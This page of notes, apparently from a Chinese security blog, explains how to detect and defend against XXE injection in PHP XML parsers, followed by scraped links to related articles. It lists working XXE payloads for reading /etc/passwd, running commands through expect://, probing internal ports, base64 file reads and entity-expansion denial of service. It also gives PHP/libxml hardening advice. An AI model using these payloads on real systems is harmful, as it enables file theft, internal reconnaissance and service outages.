一、探测漏洞

1、是否支持实体解析。

2、是否支持外部实体解析。

2.1 直接读取本地文件:

2.2 远程文件:

3、不回显错误,则用 blind xxe。(先获取本地数据,然后带着本地数据去访问恶意网站。)

二、攻击 

读取文件
<!ENTITY xxe SYSTEM "file://etc/passwd"> 执行系统命令
<!ENTITY xxe SYSTEM "expect://id"> 探测内网端口
<!ENTITY xxe SYSTEM "http://192.168.1.1:81"> 攻击内部网站:
<!ENTITY xxe SYSTEM 内网地址+payload> 访问获取内部网站获取内容(文件包含“<”、“&”等字符会失败,base64编码绕过):
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.1.1"> 拒绝服务攻击(有些xml解析器是将xml文档一次性载入内存,实体循环引用可恶意消耗内存造成拒绝服务攻击):
<!ENTITY xxe "xxe"> <!ENTITY xxe1 "&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;">
<!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">

三、使用CDATA避免窃取的数据中含有“<”和“&”而导致解析出错。

<!DOCTYPE A [
<!ENTITY start "<![CDATA[">
<!ENTITY pass SYSTEM "file:///etc/passwd">
<!ENTITY end "]]>">
<!ENTITY data "&start;&pass;&end;">
]>
<xxe>&data;</xxe>

四、防御

4.1 simplexml_load_string()函数的解析问题出现在libxml库上(libxml高版本默认不解析实体),在使用前调用:

libxml_disable_entity_loader(true);

4.2  XMLReader 和 DOM方式解析:

// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);

高版本的php由于libxml的变化,默认不解析外部实体(https://stackoverflow.com/questions/10212752/how-can-i-use-phps-various-xml-libraries-to-get-dom-like-functionality-and-avoi/10213239#10213239)。

The underlying library for php's xml libraries is libxml2. It's behavior is controlled from php mostly through optional constants which most libraries will accept as an argument when loading the xml.

You can determine your php's libxml2 version with echo LIBXML_DOTTED_VERSION;

In later versions (after 2.6), libxml2 contains entity substitution limits designed to prevent both exponential and quadratic attacks. These can be overridden with the LIBXML_PARSEHUGE option.

By default libxml2 does not load a dtd, add default attributes, or perform entity substitution. So the default behavior is to ignore dtds.

You can turn parts of this on like so:

LIBXML_DTDLOAD will load dtds.
LIBXML_NONET will disable network-loading of dtds. You should always have this on and use libxml's dtd catalog to load dtds.
LIBXML_DTDVALID will perform dtd validation while parsing.
LIBXML_NOENT will perform entity substitution.
LIBXML_DTDATTR will add default attributes.
So using the default settings PHP/libxml2 are probably not vulnerable to any of these issues, but the only way to know for sure is to test.

  

需要使用常量LIBXML_NOENT(解析实体)。(http://php.net/manual/zh/libxml.constants.php)

https://gist.github.com/staaldraad/01415b990939494879b4

https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/

https://le4f.net/post/post/xxe-injection-attack_and_prevent

[web 安全] xxe的更多相关文章

  1. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  2. [Web安全] XXE漏洞攻防学习(上)

    0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...

  3. [WEB安全]XXE漏洞总结

    目录 0x00 XML基础 0x01 XML文档结构 0x02 DTD 0x03 实体 0x04 XXE漏洞 0x05 总结一些payload 0x06 XXE漏洞修复与防御 0x07 参考链接 0x ...

  4. WEB漏洞——XXE

    XXE漏洞又称XML外部实体注入(XML External Entity) 介绍XXE漏洞前先说一下什么是XML XML语言 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据定义数据类 ...

  5. XML External Entity attack

    解析外部xml给本地带来的安全隐患. https://en.wikipedia.org/wiki/XML_external_entity_attack An XML External Entity ( ...

  6. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  7. XML外部实体注入[转载]

    前言 对于xxe,深入的太少,一般做题也是复制payload再修改,没有了解过内部的结构规范等.这里转载了一篇先知社区的文章,排版了一下适合博客样式.文章总结的很好,结合了很多篇的博客文章,看完也是对 ...

  8. 跟bWAPP学WEB安全(PHP代码)--终结篇:文件目录遍历、文件上传、SSRF、CSRF、XXE、文件包含

    前言 过年过的很不顺,家里领导和我本人接连生病,年前腊月29才都治好出院,大年初六家里的拉布拉多爱犬又因为细小医治无效离开了,没能过年回家,花了好多钱,狗狗还离世了.所以也就没什么心思更新博客.今天初 ...

  9. WEB安全番外第三篇--关于XXE

    一.什么是XXE 1.XML实体简介 (1)在一段时间中,XML都是WEB信息传输的主要方法,时至今日XML在WEB中作为前后台之间传递数据的结构,依然发挥着重要的作用.在XML中有一种结构叫做实体: ...

随机推荐

  1. HTML,CSS,JavaScript的思维导图

    一个思维导图是把抽象的事物具体化,以一个东西为思想核心内容,映射出一系列的组成及作用 影响的内容. HTML的思维导图 HTML是一种超文本标记语言.我认为要学习一门语言首先要知道其是什么,编辑工具是 ...

  2. angular 发送ajax

    在使用angular发送ajax的时候get和post一样的,就是method改一下. ajax的js: <script> var app = angular.module('emialV ...

  3. C++用参数返回结果与用返回值返回结果的思考

    /*** *xvkBuffer作为参数比写为返回值的好处是: *1,xvkBuffer可以是堆变量或栈变量,若写为返回值则只能是堆上申请,因为必须保证它的永久性 *2,xvkBuffer或作为栈变量返 ...

  4. 高通Android camera运行流程【转】

    本文转载自:http://blog.csdn.net/unicornkylin/article/details/13293295 1.总体架构 Android Camera 框架从整体上看是一个 cl ...

  5. EDM设计案例分享:6款引人入胜的夏日邮件营销模板分享

    夏日酷暑,清凉如风.在这个假期,旅游行业.酒店.服饰等都推出不少的假期活动,吸引游者的到来.假日期间,让我们看看一些旅游业.品牌服装店和酒店是怎么做好电子邮件广告的.在此,Focussend精心为大家 ...

  6. Java面试中hashCode()与equals(Object obj)方法关系的准确回答

    原文地址: https://blog.csdn.net/qq_19260029/article/details/77917925 hashCode()与equals(Object obj)都是Java ...

  7. LeetCode——28. Implement strStr()

    题目: class Solution { public: int strStr(string haystack, string needle) { if(needle.empty()){ return ...

  8. Java基础/利用fastjson反序列化json为对象和对象数组

    利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...

  9. [Web 前端] 014 css 盒子模型

    1. 简介 元素在页面中显示成一个方块,类似一个盒子 把元素叫做盒子,设置对应的样式分别为 盒子的边框(border) 盒子内的内容和边框之间的间距(padding) 盒子与盒子之间的间距(margi ...

  10. union,union all, Intersect和Minus [转]

    Union因为要进行重复值扫描,所以效率低.如果合并没有刻意要删除重复行,那么就使用Union All  两个要联合的SQL语句 字段个数必须一样,而且字段类型要“相容”(一致): 如果我们需要将两个 ...